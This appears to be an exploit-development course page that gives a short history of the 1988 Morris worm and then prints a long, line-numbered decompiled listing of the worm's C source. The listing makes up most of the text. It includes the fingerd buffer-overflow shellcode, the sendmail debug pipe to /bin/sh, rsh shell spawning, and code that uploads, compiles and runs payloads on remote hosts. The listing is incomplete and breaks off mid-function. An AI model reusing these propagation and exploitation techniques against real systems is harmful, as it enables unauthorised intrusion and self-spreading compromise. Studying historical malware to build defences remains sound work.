Exploit Development I
Your first baby steps
This training will cover the following topics from a technical and practical perspective, and starting from running and exploiting your first targets to gaining persistence and owning a whole network. This course builds deep background knowledge and expert-level skills and the ideal attendants will be penetration testers, security enthusiasts and network administrators.
  • Concepts and basics
  • Attacker Decision Making
  • Getting started with Exploit Pack and Setup
  • Internals of Exploit Pack
  • Enumeration of Targets
  • Exploiting the LAN
  • Exploiting Windows Hosts
  • Exploiting Linux Hosts
  • Exploiting Web Servers
  • Basic Exploit Writing
  • Advanced techniques and real-world examples
  • Post Exploitation
About the instructor:
Juan Sacco is the author and main dev of Exploit Pack, he currently works as an Exploit Writer and Reverse Engineer, along the path he has worked at companies like ING Bank, Core Security, NOD32, Homeland Security (ARG) and other financial and security-related organizations.

Concepts and basics

A “bit” of history about Exploits. Let’s start by saying that memory errors exploitations have been around since the 1980s and they still rank among other software errors as the most dangerous. From an integrity or availability perspective, the impact of a memory error exploit will for sure have a disruptive impact on any organization. ‌
During this training we will see the history, the do, don’t and hows of memory errors, exploitation techniques, attacks, defenses and countermeasures. And all this will be covered not from a SysAdmin or Developer point of view but we will learn the practical way of a Black Hat hacker.

Introduction

Memory errors, overflows and exceptions are one of the oldest software vulnerabilities. These kinds of vulnerabilities exist by design, and an attacker could take advantage of an overflow in order to take down or remotely control a machine.
But let’s go back in time, and for this, we need to talk a bit about history, and the origins of these flaws. Join me on a time-machine ride, let’s set our Flux condenser to take us back...
...Precisely to November 2nd, 1988.
“If my calculations are correct, when this baby hits 88 miles per hour, you're gonna see some serious events.” - Dr. Emmet brown ( A time traveller )
Ok, so here we are in 1988. Robert T. Morris abruptly brought down the Internet. Could you just imagine, having the power of taking down the whole Internet? Yes. Just wow, right?
‌Ok, wait. We know when. 1988, November 2nd. But Why.. and the most important question for us is how?!
Robert Morris Jr. at this time is a graduate student in Computer Science at Cornell University, he just wrote a self-replicating, self-propagating program that created the name of “Cyber Worm”. He just deployed this program from MIT himself, and to avoid tracebacks he executed this piece of software from non-traceable government computers.
But soon enough (or not so soon) he realized that his worm was being replicated too fast, but of course, have in mind the internet speed of that time. The worm made his way by exploiting more than just one vulnerability.
Basically, the worm exploited: Sendmail, FingerD and rsh/rexec.
These exploits were successful and the worm gained remote access and allowed arbitrary code execution, but there was an unintended feature on this worm.
The worm could not check whenever a machine was infected or not, and because of this the same machine could potentially get infected multiple times, and every time it was creating an additional process on that target, that in fact, it will slowly take the machine down by memory consumption.
Eventually, at a certain point, the computer will turn out to be non-responsive and it will be in a Denial Of Service state, making the system connected to it unusable.
The targets and host machines were: BSD Systems and Sun-3 Systems.
The following code is a part of the Morris worm that shows the attacks and the previously mentioned exploits, take a deep look into it, and try to understand the exploits and how they were crafted.
Note: While you are into that, try to think how you would create a feature that could detect whenever a machine was infected or not.
1
/* dover */
2
3
#include "worm.h"
4
#include <stdio.h>
5
#include <strings.h>
6
#include <signal.h>
7
#include <errno.h>
8
#include <ctype.h>
9
#include <sys/types.h>
10
#include <sys/time.h>
11
#include <sys/wait.h>
12
#include <sys/file.h>
13
#include <sys/stat.h>
14
#include <sys/socket.h>
15
#include <netinet/in.h>
16
17
extern struct hst *h_addr2host(), *h_name2host();
18
extern int justreturn();
19
extern int errno;
20
extern char *malloc();
21
22
int alarmed = 0;
23
int ngateways, *gateways;
24
struct hst *me, *hosts;
25
26
int nifs;
27
struct ifses ifs[30]; /* Arbitrary number, fix */
28
29
/* Clean hosts not contacted from the host list. */
30
h_clean() /* 0x31f0 */
31
{
32
struct hst *newhosts, *host, *next;
33
newhosts = NULL;
34
for (host = hosts; host != NULL; host = next) {
35
next = host->next;
36
host->flag &= -7;
37
if (host == me || host->flag != 0) {
38
host->next = newhosts;
39
newhosts = host;
40
} else
41
free(host);
42
}
43
hosts = newhosts;
44
}
45
46
/* Look for a gateway we can contact. */
47
hg() /* 0x3270, check again */
48
{
49
struct hst *host;
50
int i;
51
rt_init();
52
for (i = 0; i < ngateways; i++) { /* 24, 92 */
53
host = h_addr2host(gateways[i], 1);
54
if (try_rsh_and_mail(host))
55
return 1;
56
}
57
return 0;
58
}
59
60
ha() /* 0x32d4, unchecked */
61
{
62
struct hst *host;
63
int i, j, k;
64
int l416[100];
65
int l420;
66
if (ngateways < 1)
67
rt_init();
68
j = 0;
69
for (i = 0; i < ngateways; i++) { /* 40, 172 */
70
host = h_addr2host(gateways[i], 1);
71
for (k = 0; k < 6; k++) { /* 86, 164 */
72
if (host->o48[k] == 0)
73
continue; /* 158 */
74
if (try_telnet_p(host->o48[k]) == 0)
75
continue;
76
l416[j] = host->o48[k];
77
j++;
78
}
79
}
80
permute(l416, j, sizeof(l416[0]));
81
for (i = 0; i < j; i++) { /* 198, 260 */
82
if (hi_84(l416[i] & netmaskfor(l416[i])))
83
return 1;
84
}
85
return 0;
86
}
87
88
hl() /* 0x33e6 */
89
{
90
int i;
91
for (i = 0; i < 6; i++) { /* 18, 106 */
92
if (me->o48[i] == 0)
93
break;
94
if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
95
return 1;
96
}
97
return 0;
98
}
99
100
hi() /* 0x3458 */
101
{
102
struct hst *host;
103
for (host = hosts; host; host = host->next )
104
if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
105
return 1;
106
return 0;
107
}
108
109
hi_84(arg1) /* 0x34ac */
110
{
111
int l4;
112
struct hst *host;
113
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
114
int netaddrs[2048];
115
l12 = netmaskfor(arg1);
116
l16 = ~l12;
117
for (i = 0; i < nifs; i++) { /* 128,206 */
118
if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
119
return 0; /* 624 */
120
}
121
adr_index = 0;
122
if (l16 == 0x0000ffff) { /* 330 */
123
l44 = 4;
124
for (l40 = 1; l40 < 255; l40++) /* 236,306 */
125
for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
126
netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
127
permute(netaddrs, adr_index, sizeof(netaddrs[0]));
128
} else { /* 432 */
129
l44 = 4;
130
for (l20 = 1; l20 < 255; l20++)
131
netaddrs[adr_index++] = (arg1 | l20);
132
permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
133
permute(netaddrs, adr_index - 6, 4);
134
}
135
if (adr_index > 20)
136
adr_index = 20;
137
for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
138
l4 = netaddrs[l36];
139
host = h_addr2host(l4, 0);
140
if (host == NULL || (host->flag & 0x02) == 0)
141
continue;
142
if (host == NULL || (host->flag & 0x04) == 0 ||
143
command_port_p(l4, l44) == 0)
144
continue;
145
if (host == NULL)
146
host = h_addr2host(l4, 1);
147
if (try_rsh_and_mail(host))
148
return 1;
149
}
150
return 0;
151
}
152
153
/* Only called in the function above */
154
static command_port_p(addr, time) /* x36d2, <hi+634> */
155
u_long addr;
156
int time;
157
{
158
int s, connection; /* 28 */
159
struct sockaddr_in sin; /* 16 bytes */
160
int (*save_sighand)();
161
s = socket(AF_INET, SOCK_STREAM, 0);
162
if (s < 0)
163
return 0;
164
bzero(&sin, sizeof(sin));
165
sin.sin_family = AF_INET;
166
sin.sin_addr.s_addr = addr;
167
sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve
168
r... */
169
save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it
170
fails */
171
/* Set up a timeout to break from connect if it fails */
172
if (time < 1)
173
time = 1;
174
alarm(time);
175
connection = connect(s, &sin, sizeof(sin));
176
alarm(0);
177
close(s);
178
if (connection < 0 && errno == ENETUNREACH)
179
error("Network unreachable");
180
return connection != -1;
181
}
182
183
static try_telnet_p(addr) /* x37b2 <hi+858>, checked */
184
u_long addr;
185
{
186
int s, connection; /* 28 */
187
struct sockaddr_in sin; /* 16 bytes */
188
int (*save_sighand)();
189
s = socket(AF_INET, SOCK_STREAM, 0);
190
if (s < 0)
191
return 0;
192
bzero(&sin, sizeof(sin));
193
sin.sin_family = AF_INET;
194
sin.sin_addr.s_addr = addr;
195
sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
196
/* Set up a 5 second timeout, break from connect if it fails */
197
save_sighand = signal(SIGALRM, justreturn);
198
alarm(5);
199
connection = connect(s, &sin, sizeof(sin));
200
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
201
d */
202
connection = 0;
203
alarm(0); /* Turn off timeout */
204
close(s);
205
return connection != -1;
206
}
207
208
/* Used in hg(), hi(), and hi_84(). */
209
static try_rsh_and_mail(host) /* x3884, <hi+1068> */
210
struct hst *host;
211
{
212
int fd1, fd2, result;
213
if (host == me)
214
return 0; /* 1476 */
215
if (host->flag & 0x02)
216
return 0;
217
if (host->flag & 0x04)
218
return 0;
219
if (host->o48[0] == 0 || host->hostname == NULL)
220
getaddrs(host);
221
if (host->o48[0] == 0) {
222
host->flag |= 0x04;
223
return 0;
224
}
225
other_sleep(1);
226
if (host->hostname && /* 1352 */
227
fork_rsh(host->hostname, &fd1, &fd2,
228
XS("exec /bin/sh"))) { /* <env+188> */
229
result = talk_to_sh(host, fd1, fd2);
230
close(fd1);
231
close(fd2);
232
/* Prevent child from hanging around in the <exiting> state */
233
wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
234
if (result != 0)
235
return result;
236
}
237
if (try_finger(host, &fd1, &fd2)) { /* 1440 */
238
result = talk_to_sh(host, fd1, fd2);
239
close(fd1);
240
close(fd2);
241
if (result != 0)
242
return result;
243
}
244
if (try_mail(host))
245
return 1;
246
host->flag |= 4;
247
return 0;
248
}
249
250
251
/* Check a2in() as it is updated */
252
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
253
static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+
254
>*/
255
struct hst *host;
256
int fdrd, fdwr;
257
{
258
object *objectptr;
259
char send_buf[512]; /* l516 */
260
char print_buf[52]; /* l568 */
261
int l572, l576, l580, l584, l588, l592;
262
objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
263
if (objectptr == NULL)
264
return 0; /* <hi+2128> */
265
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
266
return 0;
267
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
268
send_text(fdwr, XS("cd /usr/tmp\n"));
269
l576 = random() % 0x00FFFFFF;
270
sprintf(print_buf, XS("x%d.c"), l576);
271
/* The 'sed' script just puts the EOF on the transmitted program. */
272
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
273
),
274
print_buf);
275
send_text(fdwr, send_buf);
276
wait_for(fdrd, XS("gorch49"), 10);
277
xorbuf(objectptr->buf, objectptr->size);
278
l572 = write(fdwr, objectptr->buf, objectptr->size);
279
xorbuf(objectptr->buf, objectptr->size);
280
if (l572 != objectptr->size) {
281
close(l588);
282
return 0; /* to <hi+2128> */
283
}
284
send_text(fdwr, XS("int zz;\n\n"));
285
wait_for(fdrd, XS("gorch50"), 30);
286
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
287
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
288
inet_ntoa(a2in(l592)), l580, l584, l576, l576);
289
send_text(fdwr, send_buf);
290
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
291
close(l588);
292
return 0; /* <hi+2128> */
293
}
294
return waithit(host, l592, l580, l584, l588);
295
}
296
297
makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */
298
struct hst *arg8;
299
int *arg12, *arg16, *arg20, *arg24;
300
{
301
int s, i, namelen;
302
struct sockaddr_in sin0, sin1; /* 16 bytes */
303
*arg20 = random() & 0x00ffffff;
304
bzero(&sin1, sizeof(sin1));
305
sin1.sin_addr.s_addr = me->l12;
306
for (i= 0; i < 6; i++) { /* 64, 274 */
307
if (arg8->o48[i] == NULL)
308
continue; /* 266 */
309
s = socket(AF_INET, SOCK_STREAM, 0);
310
if (s < 0)
311
return 0; /* 470 */
312
bzero(&sin0, sizeof(sin0));
313
sin0.sin_family = AF_INET;
314
sin0.sin_port = IPPORT_TELNET;
315
sin0.sin_addr.s_addr = arg8->o48[i];
316
errno = 0;
317
if (connect(s, &sin0, sizeof(sin0)) != -1) {
318
namelen = sizeof(sin1);
319
getsockname(s, &sin1, &namelen);
320
close(s);
321
break;
322
}
323
close(s);
324
}
325
*arg12 = sin1.sin_addr.s_addr;
326
for (i = 0; i < 1024; i++) { /* 286,466 */
327
s = socket(AF_INET, SOCK_STREAM, 0);
328
if (s < 0)
329
return 0; /* 470 */
330
bzero(&sin0, sizeof(sin0));
331
sin0.sin_family = AF_INET;
332
sin0.sin_port = random() % 0xffff;
333
if (bind(s, &sin0, sizeof(sin0)) != -1) {
334
listen(s, 10);
335
*arg16 = sin0.sin_port;
336
*arg24 = s;
337
return 1;
338
}
339
close(s);
340
}
341
return 0;
342
}
343
344
/* Check for somebody connecting. If there is a connection and he has the rig
345
ht
346
* key, send out the
347
* a complete set of encoded objects to it. */
348
349
waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */
350
struct hst *host;
351
{
352
int (*save_sighand)();
353
int l8, sin_size, l16, i, l24, l28;
354
struct sockaddr_in sin; /* 44 */
355
object *obj;
356
char files[20][128]; /* File list, 2608 */
357
char *l2612;
358
char strbuf[512];
359
save_sighand = signal(SIGPIPE, justreturn);
360
sin_size = sizeof(sin);
361
alarm(2*60);
362
l8 = accept(arg4, &sin, &sin_size);
363
alarm(0);
364
if (l8 < 0)
365
goto quit; /* 1144 */
366
if (xread(l8, &l16, sizeof(l16), 10) != 4)
367
goto quit;
368
l16 = ntohl(l16);
369
if (key != l16)
370
goto quit;
371
for (i = 0; i < nobjects; i++) { /* 164,432 */
372
obj = &objects[i];
373
l16 = htonl(obj->size);
374
write(l8, &l16, sizeof(l16));
375
sprintf(files[i], XS("x%d,%s"),
376
(random()&0x00ffffff), obj->name);
377
write(l8, files[i], sizeof(files[0]));
378
xorbuf(obj->buf, obj->size);
379
l24 = write(l8, obj->buf, obj->size);
380
xorbuf(obj->buf, obj->size);
381
if (l24 != obj->size)
382
goto quit;
383
}
384
/* Get rid of my client's key, and tell him the list has ended. */
385
l16 = -1;
386
if (write(l8, &l16, sizeof(l16)) != 4)
387
goto quit;
388
/* Don't run up the load average too much... */
389
sleep(4);
390
if (test_connection(l8, l8, 30) == 0)
391
goto quit;
392
send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
393
send_text(l8, XS("rm -f sh\n"));
394
sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
395
random()&0x00ffffff);
396
send_text(l8, strbuf);
397
for (i = 0; i < nobjects; i++) { /* 636,1040 */
398
if ((l2612 = index(files[i], '.')) == NULL ||
399
l2612[1] != 'o')
400
continue;
401
sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
402
send_text(l8, strbuf);
403
if (test_connection(l8, l8, 30) == 0)
404
goto quit; /* 1144 */
405
sprintf(strbuf, XS("./$P -p $ "));
406
for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */
407
strcat(strbuf, files[l28]);
408
strcat(strbuf, XS(" "));
409
}
410
strcat(strbuf, XS("\n"));
411
send_text(l8, strbuf);
412
if (test_connection(l8, l8, 10) == 0) {
413
close(l8);
414
close(arg4);
415
host->flag |= 2;
416
return 1; /* 1172 */
417
}
418
send_text(l8, XS("rm -f $P\n"));
419
}
420
for (i = 0; i < nobjects; i++) { /* 1044,1122 */
421
sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
422
send_text(l8, strbuf);
423
}
424
test_connection(l8, l8, 5);
425
quit:
426
close(l8);
427
close(l24);
428
return 0;
429
}
430
431
/* Only called from within mail */
432
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
433
struct hst host;
434
{
435
object *obj;
436
char buf[512]; /* 516 */
437
char cfile[56]; /* 568 */
438
int wr_len, key; /* might be same */
439
obj = getobjectbyname(XS("l1.c"));
440
if (obj == NULL)
441
return 0; /* 1590 */
442
send_text(s, XS("cd /usr/tmp\n"));
443
key = (random() % 0x00ffffff);
444
sprintf(cfile, XS("x%d.c"), key);
445
sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
446
send_text(s, buf);
447
xorbuf(obj->buf, obj->size);
448
wr_len = write(s, obj->buf, obj->size);
449
xorbuf(obj->buf, obj->size);
450
if (wr_len != obj->size)
451
return 0;
452
send_text(s, XS("EOF\n"));
453
sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
454
key, key, key,
455
inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
456
return send_text(s, buf);
457
}
458
459
static send_text(fd, str) /* 0x44c0, <waithit+1594> */
460
char *str;
461
{
462
write(fd, str, strlen(str));
463
}
464
465
/* Used in try_rsh_and_mail(). */
466
static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, <waithit+1646> */
467
char *host;
468
int *fdp1, *fdp2;
469
char *str;
470
{
471
int child; /* 4 */
472
int fildes[2]; /* 12 */
473
int fildes1[2]; /* 20 */
474
int fd;
475
if (pipe(fildes) < 0)
476
return 0;
477
if (pipe(fildes1) < 0) {
478
close(fildes[0]);
479
close(fildes[1]);
480
return 0;
481
}
482
child = fork();
483
if (child < 0) { /* 1798 */
484
close(fildes[0]);
485
close(fildes[1]);
486
close(fildes1[0]);
487
close(fildes1[1]);
488
return 0;
489
}
490
if (child == 0) { /* 2118 */
491
for (fd = 0; fd < 32; fd++)
492
if (fd != fildes[0] &&
493
fd != fildes1[1] &&
494
fd != 2)
495
close(fd);
496
dup2(fildes[0], 0);
497
dup2(fildes[1], 1);
498
if (fildes[0] > 2)
499
close(fildes[0]);
500
if (fildes1[1] > 2)
501
close(fildes1[1]);
502
/* 'execl()' does not return if it suceeds. */
503
execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
504
execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
505
execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
506
exit(1);
507
}
508
close(fildes[0]);
509
close(fildes1[1]);
510
*fdp1 = fildes1[0];
511
*fdp2 = fildes[1];
512
if (test_connection(*fdp1, *fdp2, 30))
513
return 1; /* Sucess!!! */
514
close(*fdp1);
515
close(*fdp2);
516
kill(child, 9);
517
/* Give the child a chance to die from the signal. */
518
sleep(1);
519
wait3(0, WNOHANG, 0);
520
return 0;
521
}
522
523
static test_connection(rdfd, wrfd, time) /* x476c,<waith
524
it+2278> */
525
int rdfd, wrfd, time;
526
{
527
char combuf[100], numbuf[100];
528
sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
529
sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
530
send_text(wrfd, combuf);
531
return wait_for(rdfd, numbuf, time);
532
}
533
534
static wait_for(fd, str, time) /* <waithit+2412> */
535
int fd, time;
536
char *str;
537
{
538
char buf[512];
539
int i, length;
540
length = strlen(str);
541
while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
542
for(i = 0; buf[i]; i++) {
543
if (strncmp(str, &buf[i], length) == 0)
544
return 1;
545
}
546
}
547
return 0;
548
}
549
550
/* Installed as a signal handler */
551
justreturn(sig, code, scp) /* 0x4872 */
552
int sig, code;
553
struct sigcontext *scp;
554
{
555
alarmed = 1;
556
}
557
558
static x488e(fd, buf, num_chars, maxtime)
559
int fd, num_chars, maxtime;
560
char *buf;
561
{
562
int i, l8, readfds;
563
struct timeval timeout;
564
for (i = 0; i < num_chars; i++) { /* 46,192 */
565
readfds = 1 << fd;
566
timeout.tv_usec = maxtime;
567
timeout.tv_sec = 0;
568
if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
569
return 0;
570
if (readfds == 0)
571
return 0;
572
if (read(fd, &buf[i], 1) != 1)
573
return 0;
574
if (buf[i] == '\n')
575
break;
576
}
577
buf[i] = '\0';
578
if (i > 0 && l8 > 0)
579
return 1;
580
return 0;
581
}
582
583
/* This doesn't appear to be used anywhere??? */
584
static char *movstr(arg0, arg1) /* 0x4958,<just_return+
585
230> */
586
char *arg0, *arg1;
587
{
588
arg1[0] = '\0';
589
if (arg0 == 0)
590
return 0;
591
while( ! isspace(*arg0))
592
arg0++;
593
594
if (*arg0 == '\0')
595
return 0;
596
while(*arg0) {
597
if (isspace(*arg0)) break;
598
*arg1++ = *arg0++;
599
}
600
*arg1 = '\0';
601
return arg0;
602
}
603
604
/*
605
From Gene Spafford <[email protected]>
606
What this routine does is actually kind of clever. Keep in
607
mind that on a Vax the stack grows downwards.
608
609
fingerd gets its input via a call to gets, with an argument
610
of an automatic variable on the stack. Since gets doesn't
611
have a bound on its input, it is possible to overflow the
612
buffer without an error message. Normally, when that happens
613
you trash the return stack frame. However, if you know
614
where everything is on the stack (as is the case with a
615
distributed binary like BSD), you can put selected values
616
back in the return stack frame.
617
618
This is what that routine does. It overwrites the return frame
619
to point into the buffer that just got trashed. The new code
620
does a chmk (change-mode-to-kernel) with the service call for
621
execl and an argument of "/bin/sh". Thus, fingerd gets a
622
service request, forks a child process, tries to get a user name
623
and has its buffer trashed, does a return, exec's a shell,
624
and then proceeds to take input off the socket -- from the
625
worm on the other machine. Since many sites never bother to
626
fix fingerd to run as something other than root.....
627
628
Luckily, the code doesn't work on Suns -- it just causes it
629
to dump core.
630
631
--spaf
632
633
*/
634
635
/* This routine exploits a fixed 512 byte input buffer in a VAX running
636
* the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
637
* overwrite six extra words in the stack frame, including the return
638
* PC, to point into the middle of the string sent over. The instructions
639
* in the string do the direct system call version of execve("/bin/sh"). */
640
641
static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378 */
642
struct hst *host;
643
int *fd1, *fd2;
644
{
645
int i, j, l12, l16, s;
646
struct sockaddr_in sin; /* 36 */
647
char unused[492];
648
int l552, l556, l560, l564, l568;
649
char buf[536]; /* 1084 */
650
int (*save_sighand)(); /* 1088 */
651
652
save_sighand = signal(SIGALRM, justreturn);
653
654
for (i = 0; i < 6; i++) { /* 416,608 */
655
if (host->o48[i] == 0)
656
continue; /* 600 */
657
s = socket(AF_INET, SOCK_STREAM, 0);
658
if (s < 0)
659
continue;
660
bzero(&sin, sizeof(sin));
661
sin.sin_family = AF_INET;
662
sin.sin_addr.s_addr = host->o48[i];
663
sin.sin_port = IPPORT_FINGER;
664
665
alarm(10);
666
if (connect(s, &sin, sizeof(sin)) < 0) {
667
alarm(0);
668
close(s);
669
continue;
670
}
671
alarm(0);
672
break;
673
}
674
if (i >= 6)
675
return 0; /* 978 */
676
for(i = 0; i < 536; i++) /* 628,654 */
677
buf[i] = '\0';
678
for(i = 0; i < 400; i++)
679
buf[i] = 1;
680
for(j = 0; j < 28; j++)
681
buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];
682
/* constant string x200a0 */
683
684
/* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
685
/* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
686
687
l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */
688
l560 = 0x7fffe8a8;
689
l564 = 0x7fffe8bc;
690
l568 = 0x28000000;
691
l552 = 0x0001c020;
692
693
#ifdef sun
694
l556 = byte_swap(l556); /* Reverse the word order for the */
695
l560 = byte_swap(l560); /* VAX (only Suns have to do this) */
696
l564 = byte_swap(l564);
697
l568 = byte_swap(l568);
698
l552 = byte_swap(l552);
699
#endif sun
700
701
write(s, buf, sizeof(buf)); /* sizeof == 536 */
702
write(s, XS("\n"), 1);
703
sleep(5);
704
if (test_connection(s, s, 10)) {
705
*fd1 = s;
706
*fd2 = s;
707
return 1;
708
}
709
close(s);
710
return 0;
711
}
712
713
static byte_swap(arg) /* 0x4c48,<just_return+982 */
714
int arg;
715
{
716
int i, j;
717
718
i = 0;
719
j = 0;
720
while (j < 4) {
721
i = i << 8;
722
i |= (arg & 0xff);
723
arg = arg >> 8;
724
j++;
725
}
726
return i;
727
}
728
729
permute(ptr, num, size) /* 0x4c9a */
730
char *ptr;
731
int num, size;
732
{
733
int i, newloc;
734
char buf[512];
735
736
for (i = 0; i < num*size; i+=size) { /* 18,158 */
737
newloc = size * (random() % num);
738
bcopy(ptr+i, buf, size);
739
bcopy(ptr+newloc, ptr+i, size);
740
bcopy(buf, ptr+newloc, size);
741
}
742
}
743
744
745
/* Called from try_rsh_and_mail() */
746
static try_mail(host) /* x4d3c <permute+162>*/
747
struct hst *host;
748
{
749
int i, l8, l12, l16, s;
750
struct sockaddr_in sin; /* 16 bytes */
751
char l548[512];
752
int (*old_handler)();
753
struct sockaddr saddr; /* Not right */
754
int fd_tmp; /* ??? part of saddr *
755
/
756
if (makemagic(host, &saddr) == 0)
757
return 0; /* <permute+1054> */
758
old_handler = signal(SIGALRM, justreturn);
759
for( i = 0; i < 6; i++) { /* to 430 */
760
if (host->o48[i] == NULL)
761
continue; /* to 422 */
762
s = socket(AF_INET, SOCK_STREAM, 0);
763
if (s < 0)
764
continue; /* to 422 */
765
766
bzero(&sin, sizeof(sin)); /* 16 */
767
sin.sin_family = AF_INET;
768
sin.sin_addr.s_addr = host->o48[i];
769
sin.sin_port = IPPORT_SMTP;
770
771
alarm(10);
772
if (connect(s, &sin, sizeof(sin)) < 0) {
773
alarm(0);
774
close(s);
775
continue; /* to 422 */
776
}
777
alarm(0);
778
break;
779
}
780
if (i < 6)
781
return 0; /* 1054 */
782
if (x50bc( s, l548) != 0 || l548[0] != '2')
783
goto bad;
784
send_text(s, XS("debug")); /* "debug" */
785
if (x50bc( s, l548) != 0 || l548[0] != '2')
786
goto bad;
787
#define MAIL_FROM "mail from:</dev/null>\n"
788
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
789
send_text(s, XS(MAIL_FROM));
790
if (x50bc( s, l548) != 0 || l548[0] != '2')
791
goto bad;
792
i = (random() & 0x00FFFFFF);
793
sprintf(l548, XS(MAIL_RCPT), i, i);
794
send_text(s, l548);
795
if (x50bc( s, l548) != 0 || l548[0] != '2')
796
goto bad;
797
send_text(s, XS("data\n"));
798
if (x50bc( s, l548) == 0 || l548[0] != '3')
799
goto bad;
800
send_text(s, XS("data\n"));
801
compile_slave(host, s, saddr);
802
send_text(s, XS("\n.\n"));
803
if (x50bc( s, l548) == 0 || l548[0] != '2') {
804
close(fd_tmp); /* This isn't set yet!!! */
805
goto bad;
806
}
807
send_text(s, XS("quit\n"));
808
if (x50bc( s, l548) == 0 || l548[0] != '2') {
809
close(fd_tmp); /* This isn't set yet!!! */
810
goto bad;
811
}
812
close(s);
813
return waithit(host, saddr);
814
bad:
815
send_text(s, XS("quit\n"));
816
x50bc(s, l548);
817
close(s);
818
return 0;
819
}
820
821
/* Used only in try_mail() above. This fills buffer with a line of the respon
822
se */
823
static x50bc(s, buffer) /* x50bc, <permute+1058
824
> */
825
int s; /* socket */
826
char *buffer;
827
{
828
/* Fill in exact code later. It's pretty boring. */
829
}
830
831
832
/* I call this "huristic 1". It tries to breakin using the remote execution
833
* service. It is called from a subroutine of cracksome_1 with information fr
834
om
835
* a user's .forword file. The two name are the original username and the one
836
* in the .forward file.
837
*/
838
hu1(alt_username, host, username2) /* x5178 */
839
char *alt_username, *username2;
840
struct hst *host;
841
{
842
char username[256];
843
char buffer2[512];
844
char local[8];
845
int result, i, fd_for_sh; /* 780, 784, 788 */
846
if (host == me)
847
return 0; /* 530 */
848
if (host->flag & HST_HOSTTWO) /* Already tried ??? */
849
return 0;
850
if (host->o48[0] || host->hostname == NULL)
851
getaddrs(host);
852
if (host->o48[0] == 0) {
853
host->flag |= HST_HOSTFOUR;
854
return 0;
855
}
856
strncpy(username, username2, sizeof(username)-1);
857
username[sizeof(username)-1] = '\0';
858
if (username[0] == '\0')
859
strcpy(username, alt_username);
860
for (i = 0; username[i]; i++)
861
if (ispunct(username[i]) || username[i] < ' ')
862
return 0;
863
other_sleep(1);
864
fd_for_sh = x538e(host, username, &alt_username[30]);
865
if (fd_for_sh >= 0) {
866
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
867
close(fd_for_sh);
868
return result;
869
}
870
if (fd_for_sh == -2)
871
return 0;
872
fd_for_sh = x538e(me, alt_username, &alt_username[30]);
873
if (fd_for_sh >= 0) {
874
sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
875
host->hostname, username);
876
send_text(fd_for_sh, buffer2);
877
sleep(10);
878
result = 0;
879
if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */
880
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
881
close(fd_for_sh);
882
return result;
883
}
884
return 0;
885
}
886
887
/* Used in hu1. Returns a file descriptor. */
888
/* It goes through the six connections in host trying to connect to the
889
* remote execution server on each one.
890
*/
891
static int x538e(host, name1, name2)
892
struct hst *host;
893
char *name1, *name2;
894
{
895
int s, i;
896
struct sockaddr_in sin; /* 16 bytes */
897
int l6, l7;
898
char in_buf[512];
899
for (i = 0; i < 6; i++) { /* 552,762 */
900
if (host->o48[i] == 0)
901
continue; /* 754 */
902
s = socket(AF_INET, SOCK_STREAM, 0);
903
if (s < 0)
904
continue;
905
906
bzero(&sin, sizeof(sin)); /* 16 */
907
sin.sin_family = AF_INET;
908
sin.sin_addr.s_addr = host->o48[i];
909
